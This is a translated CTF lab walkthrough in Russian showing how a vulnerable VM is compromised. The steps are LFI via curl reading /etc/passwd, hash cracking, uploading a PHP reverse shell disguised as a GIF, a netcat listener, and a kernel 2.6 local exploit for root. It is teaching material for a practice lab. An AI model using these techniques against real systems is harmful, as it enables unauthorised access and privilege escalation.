Автор: Raj Chandel
Привет друзья! Пришло время рассказать об очередном CTF-соревновании. Эта виртуальная машина была создана Френком Тоупом (Frank Tope). Суть лабораторной работы: получить права суперпользователя и прочитать содержимое файла root.txt.
Уровень сложности: Средний.
Несмотря на то, что нам не придется переполнять буфер и разрабатывать какие-либо эксплоиты, включить голову все же придется.
План действий:
Сканирование портов и выяснение IP-адреса.
Работа с директориями через 80-й порт.
Работа с директориями через 8011-й порт.
Выявление LFI-уязвимости.
Выявление резервного HTML-файла.
Взлом хеша.
Авторизация для доступа к директории /development.
Загрузка PHP-шелла, замаскированного под GIF-файл.
Обход проверок и использование этого файла для инициации шелла на базе netcat.
Расширение привилегий и решение конечной задачи.
Начинаем погружение.
Вначале, как обычно, на виртуальной машине запускаем netdiscover для выяснения IP-адреса. В моем случае IP-адрес — 192.168.1.103.
Рисунок 1: Выяснение IP-адреса на виртуальной машине
Далее запускаем nmap в режиме агрессивного сканирования для выявления всех открытых портов.
Рисунок 2: Поиск открытых портов
После того как выяснилось, что 80-й порт открыт, заходим в браузер и смотрим содержимое веб страницы, которая, как оказалось, больше похожа на резюме.
Рисунок 3: Стартовая страница веб-сервера
Пока что ничего интересного не обнаружилось. Начинаем поиск доступных директорий при помощи утилиты dirb.
Рисунок 4: Поиск доступных директорий
На первый взгляд, файл robots.txt мог бы нас заинтересовать, но там тоже ничего полезного не обнаружилось. Другая папка, которая привлекает внимание — /development. Кажется, в этой директории находится тестовая версия сайта. Для доступа нужны имя пользователя и пароль.
Рисунок 5: Запрос имени пользователя и пароля при попытке получить доступ к директории /development
Затем пробуем исследовать порт 8011. Судя по информации, полученной в браузере, этот порт используется как бэкэнд для директории /development.
Рисунок 6: Стартовая страница, привязанная к порту 8011
Вновь запускаем dirb для поиска доступных папок.
Рисунок 7: Поиск доступных директорий на порту 8011
Обнаружилась интересная папка /api. Переходим опять в браузер.
Рисунок 8: Содержимое стартовой страницы папки /api
После экспериментов с URL, выясняется, что, скорее всего, рабочий файл только один — files_api.php.
Рисунок 9: Результат запуска скрипта files_api.php
Полученное сообщение наталкивает на мысль, что нам нужно в качестве параметра передать имя файла.
192.168.1.103:8011/api/files_api.php?file=/etc/passwd
Рисунок 10: Попытка прочитать содержимое файла /etc/passwd
Мы оказались в ловушке J. Однако можно попробовать передать тот же самый параметр через curl.
curl – X POST –d «file=/etc/passwd» http://192.168.1.103:8011/api/files_api.php
Выясняется, что можно прочитать файл через LFI-уязвимость.
Рисунок 11: Содержимое файла /etc/passwd, полученное через curl
После экспериментов с найденной возможностью ничего полезного не обнаружилось.
Ранее мы выяснили, что есть сервер, используемый для разработки. Соответственно, помимо html-файлов может быть нечто другое. Например, резервная копия index.html.bak.
Рисунок 12: Сохранение файла index.html.bak
Далее смотрим содержимое сохраненного файла при помощи утилиты cat.
Рисунок 13: Содержимое index.html.bak
Оказалось, что внутри резервной копии находится хеш. Копируем хеш в файл hash.txt и запускаем John the Ripper.
Рисунок 14: Взлом найденного хеша
По результатам работы John the Ripper нашлась учетная запись для доступа к папке /development:
frank:frank!!!!
Рисунок 15: Авторизация в директории /development
После авторизации находим сокровище!
Рисунок 16: Обнаружение загрузчика файлов
Сообщение на странице выше говорит о том, что загрузчик файлов пока не доделан. Переходим в директорию /uploader.
Рисунок 17: Содержимое директории /uploader
В загрузчике есть только проверка картинок (jpg, png, gif) и размера файлов.
Открываем файл /usr/share/webshells/php/php-reverse-shell.php в текстовом редакторе, в самом начале добавляем строку GIF98 и сохраняем измененный вариант под именем shell.gif.
Рисунок 18: Изменение файла, используемого для организации шелла
Теперь загрузчик будет думать, что мы загружаем картинку, а на самом деле – обратный PHP-шелл.
После загрузки файла shell.gif получаем следующее сообщение.
Рисунок 19: Файл загружен успешно
В сообщении выше говорится, что файл находится в директории, используемой для загрузок.
Проведем небольшое исследование.
Имя веб-сайта: Frank’s website
Имя загрузчика: Frank uploader
Первое сообщение веб-сайта: I love patterns (я люблю шаблоны)
После некоторых размышлений приходим к выводу, что папка, куда загружаются файлы, может называться frank uploads.
Пробуем различные варианты: Frankupload, frankUploads, franksuploads и т. д.
Кажется, нужная нам папка называется FRANKuploads.
Этот шаг может отнимать много времени, поскольку альтернативных вариантов выяснение имени данной директории, скорее всего, не существует.
Рисунок 20: Содержимое директории FRANKuploads
Теперь нам осталось запустить загруженный файл. И здесь нам на помощь опять приходит curl.
Выполняем следующую команду:
curl –X POST –d «file=/var/www/development/uploader/FRANKuploads/shell.gif» http://192.168.1.103:8011/api/files_api.php
Рисунок 21: Запуск веб-шелла
В другом терминале активируем netcat:
nc -lvp 1234
Рисунок 22: Активация netcat
Как только curl активировал LFI-уязвимость и сделал запрос к файлу shell.gif, должна появиться сессия в netcat!
id
python –c ‘import pty;pty.spawn(«/bin/bash»);’
uname –a
После непродолжительных поисков находим эксплоит для Linux-ядра версии 2.6.
searchsploit 15285
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/15285.c .
python –m SimpleHTTPServer 80
Рисунок 23: Поиск подходящего эксплоита
Через шелл на виртуальной машине загружаем, компилируем и запускаем эксплоит:
searchsploit 15285
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/15285.c .
python –m SimpleHTTPServer 80
В итоге получаем права суперпользователя и смотрим содержимое требуемого файла!
cd root
ls
cat root.txt
Рисунок 24: Содержимое файла, который требовалось прочитать
Источник: